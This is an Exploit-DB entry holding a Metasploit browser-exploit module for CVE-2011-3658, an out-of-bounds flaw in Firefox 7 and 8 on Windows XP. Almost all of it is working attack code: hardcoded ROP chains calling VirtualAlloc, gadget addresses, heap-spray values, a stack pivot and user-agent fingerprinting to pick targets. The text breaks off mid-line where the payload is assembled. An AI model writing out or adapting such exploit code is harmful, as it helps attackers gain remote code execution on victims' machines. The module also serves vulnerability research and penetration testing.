Exploit-DB #18847
Description: Mozilla Firefox 7 / 8 < 8.0.1 - nsSVGValue Out-of-Bounds Access (Metasploit)
Type: remote
Platform: windows
Date: 2012-05-09
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Firefox 7/8 (<= 8.0.1) nsSVGValue Out-of-Bounds Access Vulnerability',
			'Description'    => %q{
				This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1).
				The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y)
				uses a loop which can result in an out-of-bounds access to attacker-controlled memory.
				The mObserver ElementAt() function (which picks up pointers), does not validate
				if a given index is out of bound. If a custom observer of nsSVGValue is created,
				which removes elements from the original observer,
				and memory layout is manipulated properly, the ElementAt() function might pick up
				an attacker provided pointer, which can be leveraged to gain remote arbitrary
				code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'regenrecht',                          #vulnerability discovery
					'Lincoln<lincoln[at]corelan.be>',      #Metasploit module
					'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2011-3658' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-056/' ],
					[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708186' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Payload'        =>
				{
					'BadChars'       => "\x00\x0a\x0d\x34",
					'DisableNops'    => true,
					'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[
						'Windows XP - Firefox 7',
						{
							'Ret'    => 0x0C0C0C0C,
							'OffSet' => 0x606,
							'Size'   => 0x40000,
							'PopEax' => 0x7819e4b4, # POP EAX # RETN [MOZCRT19.dll]
							'FF'     => 7,
							'OS'     => 'XP'
						}
					],
					[
						'Windows XP - Firefox 8 (<= 8.0.1)',
						{
							'Ret'    => 0x0C0C0C0C,
							'OffSet' => 0x606,
							'Size'   => 0x40000,
							'PopEax' => 0x7819e504, # POP EAX # RETN [MOZCRT19.dll]
							'FF'     => 8,
							'OS'     => 'XP'
						}
					]
				],
			'DisclosureDate' => 'Dec 6 2011',
			'DefaultTarget'  => 0))

	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def junk(n=4)
		return rand_text_alpha_upper(n).unpack("L")[0].to_i
	end

	def nop
		return make_nops(4).unpack("L")[0].to_i
	end

	def get_rop_chain(ffversion,osversion)

		# mona.py ROP chains

		rop_chain = []

		if ffversion == 7 and osversion == "XP"

			rop_chain =
			[
				0x781a909c,     # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
				0x7813aeed,     # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
				0x78194774,     # PUSH EAX # POP ESI # POP EDI # POP EBP # POP EBX # RETN [MOZCRT19.dll]
				0x78139801,     # RETN (ROP NOP) [MOZCRT19.dll] -> edi
				0x78195375,     # & push esp #  ret  [MOZCRT19.dll] -> ebp
				0x00000001,     # 0x00000001-> ebx
				0x7819966e,     # POP EDX # RETN [MOZCRT19.dll]
				0x00001000,     # 0x00001000-> edx
				0x7813557f,     # POP ECX # RETN [MOZCRT19.dll]
				0x00000040,     # 0x00000040-> ecx
				0x781a4da8,     # POP EAX # RETN [MOZCRT19.dll]
				nop,            # nop
				0x7813d647,     # PUSHAD # RETN [MOZCRT19.dll]
			].flatten.pack("V*")

		elsif ffversion == 8 and osversion == "XP"

			rop_chain =
			[
				0x781a909c,     # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
				0x7813af5d,     # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
				0x78197f06,     # XCHG EAX,ESI # RETN [MOZCRT19.dll]
				0x7814eef1,     # POP EBP # RETN [MOZCRT19.dll]
				0x781503c3,     # & call esp [MOZCRT19.dll]
				0x781391d0,     # POP EBX # RETN [MOZCRT19.dll]
				0x00000001,     # 0x00000001-> ebx
				0x781a147c,     # POP EDX # RETN [MOZCRT19.dll]
				0x00001000,     # 0x00001000-> edx
				0x7819728e,     # POP ECX # RETN [MOZCRT19.dll]
				0x00000040,     # 0x00000040-> ecx
				0x781945b5,     # POP EDI # RETN [MOZCRT19.dll]
				0x78152809,     # RETN (ROP NOP) [MOZCRT19.dll]
				0x7819ce58,     # POP EAX # RETN [MOZCRT19.dll]
				nop,            # nop
				0x7813d6b7,     # PUSHAD # RETN [MOZCRT19.dll]
			].flatten.pack("V*")

		end

		return rop_chain
	end


	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# determine the target FF and OS version

		ffversion = ""
		osversion = ""

		agent = request.headers['User-Agent']

		if agent !~ /Firefox\/7\.0/ and agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/8\.0\.1/
			vprint_error("This browser version is not supported: #{agent.to_s}")
			send_not_found(cli)
			return
		end

		my_target = target
		if my_target.name == 'Automatic'
			if agent =~ /NT 5\.1/ and agent =~ /Firefox\/7/
				my_target = targets[1]
			elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/
				my_target = targets[2]
			elsif vprint_error("This Operating System is not supported: #{agent.to_s}")
				send_not_found(cli)
				return
			end
			target = my_target
		end

		# Create the payload
		print_status("Creating payload for #{target.name}")
		table =
		[
			0x0c0c0c0c,  # index
			0x0c0c0c0c,  # index
			0x0c0c0c0c,  # index
			0x7c45abdf   # Stack->Heap Flip XCHG EAX,ESP # ADD [EAX],EAX # ADD ESP,48h # RETN 28 [MOZCPP19.DLL]
		].pack("V*")

		rop = rand_text_alpha_upper(56)
		rop <